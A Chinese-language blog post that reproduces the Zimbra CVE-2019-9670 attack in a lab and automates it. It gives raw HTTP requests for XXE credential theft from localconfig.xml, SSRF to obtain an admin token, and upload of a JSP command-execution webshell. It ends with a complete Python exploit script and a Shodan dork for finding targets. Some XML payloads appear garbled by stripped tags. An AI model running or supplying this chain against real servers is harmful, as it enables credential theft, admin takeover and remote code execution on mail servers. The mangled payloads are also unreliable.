参考
zimbra RCE环境搭建到复现再到exp编写
https://xz.aliyun.com/t/7991#toc-5zimbra RCE 漏洞利用
https://cloud.tencent.com/developer/article/1752450
安装依赖
ubuntu ip addr: 192.168.8.129apt-get install libgmp10 libperl5.18 unzip pax sysstat sqlite3 dnsmasq wgetubuntu环境需要为14,其他版本可能安装libperl5.18会报错,后续可能也会有一大堆问题,所以还是用14比较好
配置hostname和dns服务器
vim /etc/hostnamemail.test.com
vim /etc/hosts192.168.8.129 mail.test.com mail
vim /etc/dnsmasq.confserver=192.168.8.130
domain=test.com
mx-host=test.com, mail.test.com, 5
mx-host=mail.test.com, mail.test.com, 5
listen-address=127.0.0.1
下载有漏洞版本的zimbra,解压,进入解压后的目录进行安装
wget https://files.zimbra.com/downloads/8.6.0_GA/zcs-8.6.0_GA_1153.UBUNTU14_64.20141215151116.tgztar xvf zcs-8.6.0_GA_1153.UBUNTU14_64.20141215151116.tgz
cd zcs-8.6.0_GA_1153.UBUNTU14_64.20141215151116
sudo ./install.sh安装时注意观察返回结果,可能会报错缺少依赖信息,按缺少的依赖补充安装即可
一些缺少的依赖可以直接用apt-get安装,对于缺少libgmp3c2,参考文章中的链接已失效,可以采用以下链接安装wget http://launchpadlibrarian.net/70575439/libgmp3c2_4.3.2+dfsg-2ubuntu1_amd64.deb
sudo dpkg -i libgmp3c2_4.3.2+dfsg-2ubuntu1_amd64.deb
安装配置zimbra
复现时使用的是dnsmasq,所以除了zimbra-dnscache选择 n ,其他默认 y 即可。
之后会进入Main menu界面,选择 6 配置 zimbra-store,选择 4 设置管理员密码,之后输入 a 应用配置,之后默认yes,最后保存更新系统设置yes即可安装完成后,访问登陆界面即可
https://192.168.8.129:7071/zimbraAdmin
漏洞路由
https://192.168.8.130:7071/Autodiscover/Autodiscover.xml
使用burpsuite或者其他接口测试工具以post方式发送一个空标签,Content-Type设置为application/xml,界面返回400解析错误,可能存在xxe
构造XML Poc验证是否存在XXE漏洞
]>asdasd@ad.com &asd;
页面503,返回了读取的文件信息,存在XXE
利用xxe获取localconfig.xml 中的用户名和密码,由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取,由于XXE不能内部实体进行拼接,所以此处需要使用外部dtd,payload构造如下:
">
">
启动远程服务,发送如下payload,利用xxe读取默认用户zimbra的密码,密码字段在zimbra_ldap_password
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.8.130:7071
Content-Length: 400
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63
Content-Type: application/soap+xml; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close%dtd;%all;]>
aaaaa &fileContents;
成功读取到密码
利用前面的xxe漏洞读取到的账号密码,获取一个低权限token
POST /service/soap HTTP/1.1
Host: 192.168.8.130
Content-Length: 463
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63
Content-Type: application/soap+xml; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: closezimbra lDsiZPjl
这里是向客户端登陆处/service/soap发送,也可以向管理员登陆处7071端口/service/admin/soap发送payload直接获取高权限token,注意下改端口以及将
改为
将获取到的低权限token设置到cookie中,探测是否存在ssrf,注意,修改cookie时如果401错误,将cookie字段ZM_AUTH_TOKEN改为ZM_ADMIN_AUTH_TOKEN即可
POST /service/proxy?target=https://abcd.0lzme4.dnslog.cn HTTP/1.1
Host: 192.168.8.130:7071
Content-Length: 0
Cookie: ZM_ADMIN_AUTH_TOKEN=0_445fad824269f204515a7c310c0fc7fbfcfc425c_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313637383737333133323439343b747970653d363a7a696d6272613b7469643d31303a313338303230313330343b
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63
Content-Type: application/soap+xml; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
ssrf可利用后,结合低权限token获取一个高权限token,将
改为
POST /service/proxy?target=https://192.168.8.130:7071/service/admin/soap HTTP/1.1
Host: 192.168.8.130:7071
Content-Length: 461
Cookie: ZM_ADMIN_AUTH_TOKEN=0_445fad824269f204515a7c310c0fc7fbfcfc425c_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313637383737333133323439343b747970653d363a7a696d6272613b7469643d31303a313338303230313330343b
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63
Content-Type: application/soap+xml; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: closezimbra lDsiZPjl
利用获取到的高权限token调用文件上传接口/service/extension/clientUploader/upload,上传webshell
POST /service/extension/clientUploader/upload HTTP/1.1
Host: 192.168.8.130:7071
Cookie: ZM_ADMIN_AUTH_TOKEN=0_20a7b6a582e9cbfdceb69a240f06aef59fccc313_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313637383634333538333438363b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d31303a313738313434363538303b
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyfguo5iLr5MUuhaZ
Content-Length: 622------WebKitFormBoundaryyfguo5iLr5MUuhaZ
Content-Disposition: form-data; name="filename1"qweqwe
------WebKitFormBoundaryyfguo5iLr5MUuhaZ
Content-Disposition: form-data; name="clientFile";filename="aa.jsp"<%
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("");
while ((a = in.read(b)) != -1) {out.print(new String(b));
}
out.print("
");
%>------WebKitFormBoundaryyfguo5iLr5MUuhaZ
Content-Disposition: form-data; name="requestId"111111
------WebKitFormBoundaryyfguo5iLr5MUuhaZ--
webshell地址,访问时需要带上cookie
https://192.168.8.130/downloads/aa.jsp
参考https://github.com/rek7/Zimbra-RCE
#!/usr/bin/python3
# Title: Zimbra Autodiscover Servlet XXE and ProxyServlet SSRF <= 8.7.0 and 8.7.11
# Shodan Dork: 8.6.0_GA_1153
# Vendor Homepage: https://www.zimbra.com/
# Version: <= 8.7.0 and 8.7.11
# Tested on: Debian
# CVE : CVE-2019-9670
# References:
# http://www.rapid7.com/db/modules/exploit/linux/http/zimbra_xxe_rce
import requests
import sys
import urllib.parse
import re
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)class zimbra_rce(object):def __init__(self, base_url, dtd_url, file_name, payload_file):self.base_url = base_urlself.dtd_url = dtd_urlself.low_auth = {}self.file_name = file_nameself.payload = open(payload_file, "r").read()self.pattern_auth_token=re.compile(r"(.*?) ")def upload_dtd_payload(self):'''Example DTD payload:">">'''xxe_payload = r"""%dtd;%all;]>aaaaa &fileContents; """.format(self.dtd_url)headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63',"Content-Type":"application/xml"}print("[*] Uploading DTD.", end="\r")dtd_request = requests.post(self.base_url+"/Autodiscover/Autodiscover.xml",data=xxe_payload,headers=headers,verify=False,timeout=15)# print(r.text)if 'response schema not available' not in dtd_request.text:print("[-] Site Not Vulnerable To XXE.")return Falseelse:print("[+] Uploaded DTD.")print("[*] Attempting to extract User/Pass.", end="\r")pattern_name = re.compile(r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>")pattern_password = re.compile(r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>")if pattern_name.findall(dtd_request.text) and pattern_password.findall(dtd_request.text):username = pattern_name.findall(dtd_request.text)[0][2]password = pattern_password.findall(dtd_request.text)[0][2]self.low_auth = {"username" : username, "password" : password}print("[+] Extracted Username: {} Password: {}".format(username, password))return Trueprint("[-] Unable To extract User/Pass.")return Falsedef make_xml_auth_body(self, xmlns, username, password):auth_body="""{} {} """return auth_body.format(xmlns, username, password)def gather_low_auth_token(self):print("[*] Getting Low Privilege Auth Token", end="\r")headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63',"Content-Type":"application/xml"}r=requests.post(self.base_url+"/service/soap",data=self.make_xml_auth_body("urn:zimbraAccount", self.low_auth["username"], self.low_auth["password"]), headers=headers, verify=False, timeout=15)low_priv_token = self.pattern_auth_token.findall(r.text)if low_priv_token:print("[+] Gathered Low Auth Token.")return low_priv_token[0].strip()print("[-] Failed to get Low Auth Token")return Falsedef ssrf_admin_token(self, low_priv_token):headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63',"Content-Type":"application/xml"}headers["Host"]="{}:7071".format(urllib.parse.urlparse(self.base_url).netloc.split(":")[0])print("[*] Getting Admin Auth Token By SSRF", end="\r")r = requests.post(self.base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap/AuthRequest",data=self.make_xml_auth_body("urn:zimbraAdmin", self.low_auth["username"], self.low_auth["password"]),verify=False, headers=headers,cookies={"ZM_ADMIN_AUTH_TOKEN":low_priv_token})admin_token = self.pattern_auth_token.findall(r.text)if admin_token:print("[+] Gathered Admin Auth Token.")return admin_token[0].strip()print("[-] Failed to get Admin Auth Token")return Falsedef upload_payload(self, admin_token):f = {'filename1':(None, "whatszimbra", None),'clientFile':(self.file_name, self.payload, "text/plain"),'requestId':(None, "12356721-3268-3782", None),}cookies = {"ZM_ADMIN_AUTH_TOKEN":admin_token}print("[*] Uploading file", end="\r")r = requests.post(self.base_url+"/service/extension/clientUploader/upload",files=f,cookies=cookies, verify=False)if r.status_code == 200:r = requests.get(self.base_url + "/downloads/" + self.file_name,cookies=cookies, verify=False)if r.status_code != 404: # some jsp shells throw a 500 if invalid parameters are givenprint("[+] Uploaded file to: {}/downloads/{}".format(self.base_url, self.file_name))print("[+] You may need the need cookie: \n{}={};".format("ZM_ADMIN_AUTH_TOKEN", cookies["ZM_ADMIN_AUTH_TOKEN"]))return Trueprint("[-] Cannot Upload File.")return Falsedef exploit(self):try:if self.upload_dtd_payload():low_auth_token = self.gather_low_auth_token()if low_auth_token:admin_auth_token = self.ssrf_admin_token(low_auth_token)if admin_auth_token:return self.upload_payload(admin_auth_token)except Exception as e:print("Error: {}".format(e))return Falseif __name__ == "__main__":parser = argparse.ArgumentParser(description='Zimbra RCE CVE-2019-9670')parser.add_argument('-u', '--url', action='store', dest='url',help='Target url', required=True)parser.add_argument('-d', '--dtd', action='store', dest='dtd',help='Url to DTD', required=True)parser.add_argument('-n', '--name', action='store', dest='payload_name',help='Name of uploaded payload', required=True)parser.add_argument('-f', '--file', action='store', dest='payload_file',help='File containing payload', required=True)results = parser.parse_args()z = zimbra_rce(results.url, results.dtd, results.payload_name, results.payload_file)z.exploit()
下一篇:难,难,难,如何把握分寸感?